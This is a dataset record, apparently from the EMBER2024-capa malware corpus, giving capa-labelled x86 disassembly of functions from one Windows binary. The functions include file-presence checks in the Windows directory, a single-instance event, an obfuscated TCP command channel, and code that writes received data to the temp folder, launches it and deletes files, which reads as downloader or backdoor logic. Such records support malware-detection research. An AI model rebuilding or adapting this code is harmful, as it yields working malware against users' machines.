joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c154
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42dc00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00409076
mov dword [ebp - 0x14], eax
cmp dword [0x2c8a538], esi
jne 0x40c247
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40c1d4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40c327
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40c327
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40c327
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x2c8a538], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x2c8a53c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x2c8a540], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x2c8a548], eax
test eax, eax
je 0x40c244
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x2c8a544], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40c26c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40c25f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40c281
push 4
pop eax
jmp 0x40c329
cmp dword [ebp - 0x14], esi
je 0x40c281
push dword [0x2c8a538]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40c266
mov eax, dword [0x2c8a544]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40c2df
cmp dword [0x2c8a548], edi
je 0x40c2df
push eax
call ebx
push dword [0x2c8a548]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40c2df
test eax, eax
je 0x40c2df
call ecx
test eax, eax
je 0x40c2d4
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40c2d4
test byte [ebp - 8], 1
jne 0x40c2df
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40c30f
mov eax, dword [0x2c8a53c]
cmp eax, edi
je 0x40c30c
push eax
call ebx
test eax, eax
je 0x40c30c
call eax
mov esi, eax
test esi, esi
je 0x40c30c
mov eax, dword [0x2c8a540]
cmp eax, edi
je 0x40c30c
push eax
call ebx
test eax, eax
je 0x40c30c
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x2c8a538]
call ebx
test eax, eax
je 0x40c327
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40c329
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040451e
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push eax
xor esi, esi
call fcn.00408600
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00408600
add esp, 0x18
lea eax, [ebp - 0x414]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov word [ebp - 0x410], ax
push 0x416618
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x41665c
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
push 0x416668
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
mov ecx, 1
push 0x4166b0
push eax
cmovne esi, ecx
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x4010d7
or esi, 2
push 0x4166c8
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x4166bc
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401105
or esi, 4
push 0x416720
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x416714
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401136
or esi, 0x100
push 0x416780
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x416774
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401167
or esi, 0x200
push 0x4167e0
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x4167d4
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401198
or esi, 0x400
mov ecx, dword [ebp - 4]
or esi, 0x2000000
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
Function at 0x4014b0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3e4
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x3e
push eax
mov word [ebp - 0x48], ax
lea eax, [ebp - 0x46]
push eax
call fcn.00408600
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x250], ax
lea eax, [ebp - 0x24e]
push eax
call fcn.00408600
add esp, 0xc
lea eax, [ebp - 0x250]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x250]
push 0x5c
push eax
call fcn.00405569
mov esi, eax
xor eax, eax
mov word [esi], ax
add esi, 2
push 0x2e
push esi
call fcn.00405569
xor ecx, ecx
mov word [eax], cx
lea ecx, [ebp - 0x48]
add esp, 0x10
sub ecx, esi
jmp 0x401540
movzx eax, word [esi]
mov word [ecx + esi], ax
lea esi, [esi + 2]
test ax, ax
jne 0x401540
xor ecx, ecx
movzx eax, word [ebp + ecx - 0x48]
mov word [ecx + 0x419f88], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401551
push 0x419f88
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401593
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
push 0x419f88
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401582
lea eax, [ebp - 0x3e0]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x41ab20
call fcn.00401e40
test eax, eax
jne 0x401660
xor ecx, ecx
mov edi, edi
movzx eax, word [ecx + 0x416894]
mov word [ecx + 0x41acc8], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4015d0
push 0x4168a0
push 0x40
push 0x41ab24
call fcn.00404b5f
add esp, 0xc
push 0x4168bc
push 0x10
push 0x41aba6
call fcn.00404b5f
add esp, 0xc
push 0x4168c8
push 0x40
push 0x41abc6
call fcn.00404b5f
mov eax, 0x51
mov word [0x41aba4], ax
mov eax, 0x2b8e
add esp, 0xc
mov word [0x41ac46], ax
xor ecx, ecx
lea ebx, [ebx]
movzx eax, word [ecx + 0x4168e4]
mov word [ecx + 0x41aca8], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401640
mov dword [0x41ace8], 5
call fcn.004037c0
mov ecx, 0x4168f4
call fcn.00403860
mov dword [0x41ae20], eax
call fcn.00401250
push 0
push 0
push 0
push 0x4013f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
Function at 0x401aa0
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x418038]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x419eb8
push 0x67
push edi
call esi
push 0x64
push 0x419df0
push 0x6d
push edi
call esi
mov ecx, edi
call fcn.00401c30
push 0
push edi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x419eb8
push 0x419df0
push 0
mov dword [0x419f80], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401b32
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00404a1a
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
call fcn.00402cb0
call fcn.004021b0
test eax, eax
je 0x401b63
call fcn.00403520
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004014b0
test eax, eax
je 0x401b1a
call fcn.004017f0
mov ecx, dword [0x41ae20]
test ecx, ecx
je 0x401b9b
cmp word [0x41ae24], 0
jbe 0x401b9b
mov edx, 0x418ef8
call fcn.00403c80
mov ax, word [0x41ae24]
mov word [0x418ef4], ax
xor ecx, ecx
lea ecx, [ecx]
movzx eax, word [ecx + 0x416a64]
mov word [ecx + 0x41a1a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401ba0
call fcn.00403d00
xor eax, eax
push 0x206
push eax
mov word [esp + 0x10], ax
lea eax, [esp + 0x12]
push eax
call fcn.00408600
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41a1a0
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.00404bbb
add esp, 0xc
push 0x1f4
call esi
push 1
push 0
push 0x416a7c
lea eax, [esp + 0x14]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401ee0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
test edi, edi
je 0x402003
test esi, esi
je 0x402003
mov ecx, esi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401f10
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x402005
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00408600
add esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x401f7f
cmp dword [0x418f08], 3
jne 0x401f7f
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x416a9c
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00404bbb
add esp, 0xc
jmp 0x401f91
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00404bbb
push 0x416aa0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 0x210], 0
call fcn.00404db2
mov eax, dword [ebp - 0x210]
add esp, 0x18
test eax, eax
je 0x402003
push eax
push 1
push 0x200
push edi
call fcn.00405084
push dword [ebp - 0x210]
call fcn.0040519c
add esp, 0x14
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00404a1a
mov esp, ebp
pop ebp
ret

Function at 0x4020c0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
xor edx, edx
jmp 0x4020e0
not byte [esi + edx]
inc edx
cmp edx, 0x200
jb 0x4020e0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408600
add esp, 0xc
mov dword [ebp - 0x214], 0
test esi, esi
je 0x402195
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x416ac0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404bbb
push 0x416adc
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.00404db2
mov eax, dword [ebp - 0x214]
add esp, 0x18
test eax, eax
je 0x402181
push eax
push 1
push 0x200
push esi
call fcn.0040536a
push dword [ebp - 0x214]
call fcn.0040519c
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
Function at 0x402b40
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408600
add esp, 0xc
lea eax, [ebp - 0x410]
push 0x200
push 0
push eax
call fcn.00408600
add esp, 0xc
lea ecx, [ebp - 0x410]
call fcn.00402020
test eax, eax
je 0x402c96
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ecx + 0x416c28]
mov word [ecx + 0x41a018], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402ba0
xor ecx, ecx
jmp 0x402bc0
movzx eax, word [ebp + ecx - 0x38a]
mov word [ecx + 0x41a120], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402bc0
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ebp + ecx - 0x40c]
mov word [ecx + 0x41a0a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402be0
cmp dword [0x418f08], 3
movzx eax, word [ebp - 0x38c]
mov word [0x41a098], ax
movzx eax, word [ebp - 0x2ea]
mov word [0x41a010], ax
mov dword [0x41a00c], 5
lea eax, [ebp - 0x210]
je 0x402c38
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402c5d
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x416c5c
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404bbb
add esp, 0xc
push 0x416c44
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404bbb
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00404a1a
mov esp, ebp
pop ebp
ret

Function at 0x402cb0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
mov dword [0x418f08], 0
call fcn.00408600
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402d6d
mov eax, dword [ebp - 0x11c]
cmp eax, 5
jne 0x402d31
mov eax, dword [ebp - 0x118]
cmp eax, 2
jae 0x402d19
cmp eax, 1
jne 0x402d6d
mov dword [0x418f08], 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x402d6d
mov ecx, dword [ebp - 0x118]
test ecx, ecx
jne 0x402d58
mov dword [0x418f08], 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
mov eax, dword [0x418f08]
mov edx, 5
cmp ecx, 1
cmove eax, edx
mov dword [0x418f08], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
Function at 0x4033e0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
push 0x416cd4
push ecx
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], 0
call fcn.00404db2
add esp, 0xc
test eax, eax
je 0x403425
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 2
push 0
push dword [ebp - 8]
call fcn.00405b80
push dword [ebp - 8]
call fcn.00405f58
push 0
push 0
push dword [ebp - 8]
mov esi, eax
call fcn.00405b80
lea eax, [edi + esi]
push eax
mov dword [ebp - 0x10], eax
call fcn.00405a27
push dword [ebp - 8]
mov ebx, eax
push 1
push esi
push ebx
mov dword [ebp - 0x14], ebx
call fcn.00405084
push dword [ebp - 8]
call fcn.0040519c
push edi
add ebx, esi
push 0
push ebx
call fcn.00408600
mov eax, edi
cdq
and edx, 3
add esp, 0x40
lea edi, [edx + eax]
sar edi, 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00405fe3
add esp, 4
xor esi, esi
test edi, edi
jle 0x4034ad
lea ecx, [ecx]
call fcn.00405fc0
mov dword [ebx + esi*4], eax
inc esi
cmp esi, edi
jl 0x4034a0
push 0x416cdc
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.00404db2
add esp, 0xc
test eax, eax
je 0x4034d8
pop esi
pop ebx
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
push dword [ebp - 8]
mov esi, dword [ebp - 0x14]
push 1
push dword [ebp - 0x10]
push esi
call fcn.0040536a
push dword [ebp - 8]
call fcn.0040519c
add esp, 0x14
test esi, esi
je 0x403501
push esi
call fcn.00405ab9
add esp, 4
mov ecx, dword [ebp - 4]
pop esi
pop ebx
xor ecx, ebp
mov eax, 1
pop edi
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
Function at 0x404000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b4
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
test eax, eax
lea esi, [ebp - 0x808]
cmovne esi, eax
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov word [esi], ax
mov dword [ebp - 0x80c], eax
lea eax, [ebp - 0x9b0]
push eax
push 0x101
mov dword [ebp - 0x9b4], edx
mov ebx, ecx
xor esi, esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x404065
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x404052
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4040a5
push ebx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x80c], eax
push 4
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x4040fe
mov eax, dword [eax + 0xc]
push dword [ebp - 0x9b4]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x818], eax
mov eax, 2
mov word [ebp - 0x81c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4040fe
mov esi, 1
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
mov ecx, dword [edi]
test ecx, ecx
je 0x40410d
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], esi
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404a1a
mov esp, ebp
pop ebp
ret

Function at 0x404290
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov eax, ecx
push esi
xor esi, esi
mov ebx, edx
mov dword [ebp - 8], eax
cmp dword [eax], esi
je 0x404318
push edi
mov edi, dword [ebp + 8]
xor eax, eax
test edi, edi
jle 0x4042b8
nop
not byte [eax + ebx]
inc eax
cmp eax, edi
jl 0x4042b0
lea eax, [edi + 7]
push eax
call fcn.00406147
mov ecx, eax
lea eax, [edi + 5]
mov word [ecx], ax
mov eax, dword [0x418f10]
mov dword [ecx + 2], eax
mov al, byte [0x418f14]
push edi
mov byte [ecx + 6], al
lea eax, [ecx + 7]
push ebx
push eax
mov dword [ebp - 4], ecx
call fcn.00409260
mov eax, dword [ebp - 8]
add esp, 0x10
lea ebx, [edi + 7]
mov edi, dword [ebp - 4]
push 0
push ebx
push edi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40430e
mov ecx, 1
cmp eax, ebx
cmove esi, ecx
push edi
call fcn.0040653b
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404520
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
push esi
test eax, eax
lea esi, [ebp - 0x8cc]
cmovne esi, eax
xor eax, eax
mov word [esi], ax
mov esi, dword [ecx]
xor ebx, ebx
mov dword [ebp - 0x8d0], edx
mov dword [ebp - 0x8d8], ecx
test esi, esi
je 0x404691
test edx, edx
je 0x404691
push 0xc7
mov byte [ebp - 0xcc], al
lea eax, [ebp - 0xcb]
push ebx
push eax
call fcn.00408600
add esp, 0xc
lea eax, [ebp - 0xcc]
push ebx
push 2
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4046a1
test eax, eax
je 0x4046a1
movzx eax, word [ebp - 0xcc]
mov dword [ebp - 0x8d4], eax
add eax, 2
push edi
push eax
xor esi, esi
call fcn.00406147
mov edi, eax
mov eax, dword [ebp - 0x8d4]
add esp, 4
test eax, eax
jle 0x404681
lea ebx, [ebx]
push 0
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
mov eax, dword [ebp - 0x8d8]
push dword [eax]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40467b
test eax, eax
je 0x40467b
add esi, eax
mov eax, dword [ebp - 0x8d4]
cmp eax, esi
jg 0x4045e0
cmp esi, 5
jl 0x404681
mov ecx, 0x418f10
sub esi, 5
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x404681
movzx eax, byte [ecx + 4]
cmp al, byte [edi + 4]
jne 0x404681
test esi, esi
jle 0x404639
lea ecx, [edi + 5]
mov edx, esi
not byte [ecx]
lea ecx, [ecx + 1]
dec edx
jne 0x404631
mov ebx, dword [ebp - 0x8dc]
mov eax, dword [ebx]
cmp eax, esi
jl 0x404661
push esi
lea eax, [edi + 5]
push eax
push dword [ebp - 0x8d0]
call fcn.00409260
mov dword [ebx], esi
add esp, 0xc
mov ebx, 1
jmp 0x404681
push eax
lea eax, [edi + 5]
push eax
push dword [ebp - 0x8d0]
call fcn.00409260
add esp, 0xc
mov ebx, 1
jmp 0x404681
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test edi, edi
je 0x40468e
push edi
call fcn.0040653b
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
Function at 0x4046c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe24
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x400
lea eax, [ebp - 0x610]
push 0
push eax
mov dword [ebp - 0xe20], edx
mov ebx, ecx
call fcn.00408600
add esp, 0xc
lea eax, [ebp - 0x610]
push ebx
push 0x1ff
push eax
call fcn.00404b5f
mov ecx, ebx
add esp, 0xc
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404710
sub ecx, edx
sar ecx, 1
lea edi, [ebp - 0x60e]
mov esi, 0x41a920
lea edi, [edi + ecx*2]
mov ecx, 0x80
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebx + 2]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x404737
sub ebx, ecx
sar ebx, 1
push 0x10000
lea ebx, [ebx*2 + 0x202]
call fcn.00405a27
add esp, 4
mov esi, eax
push 0x10000
push 0
push esi
call fcn.00408600
add esp, 0xc
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0xe10], ax
lea eax, [ebp - 0xe0e]
push eax
mov dword [ebp - 0xe1c], 0x10000
call fcn.00408600
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
xor edi, edi
push eax
mov dword [ebp - 0xe18], 0
mov dword [ebp - 0xe14], edi
call fcn.00408600
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0xe20]
lea eax, [ebp - 0xe10]
push eax
lea eax, [ebp - 0xe18]
push eax
call fcn.00404000
add esp, 8
test eax, eax
je 0x4048be
lea eax, [ebp - 0xe10]
push eax
push ebx
lea eax, [ebp - 0x610]
mov ebx, 0xbba
push eax
mov edx, ebx
lea ecx, [ebp - 0xe18]
call fcn.00404120
add esp, 0xc
test eax, eax
je 0x4048be
lea eax, [ebp - 0xe10]
push eax
lea eax, [ebp - 0xe1c]
push eax
push esi
lea edx, [ebp - 0xe14]
lea ecx, [ebp - 0xe18]
call fcn.00404320
add esp, 0xc
test eax, eax
je 0x4048be
cmp word [ebp - 0xe14], bx
jne 0x4048be
cmp dword [ebp - 0xe1c], edi
je 0x4048be
cmp byte [esi], 0
jne 0x4048be
push 0x41a1a0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404bbb
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x416cdc
push eax
lea eax, [ebp - 0xe14]
push eax
mov dword [ebp - 0xe14], edi
call fcn.00404db2
add esp, 0xc
cmp dword [ebp - 0xe14], edi
je 0x4048b9
lea edx, [ebp - 0xe14]
lea ecx, [ebp - 0xe18]
call fcn.004048f0
mov edi, 1
test esi, esi
je 0x4048cb
push esi
call fcn.00405ab9
add esp, 4
mov eax, dword [ebp - 0xe18]
test eax, eax
je 0x4048dc
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404a1a
mov esp, ebp
pop ebp
ret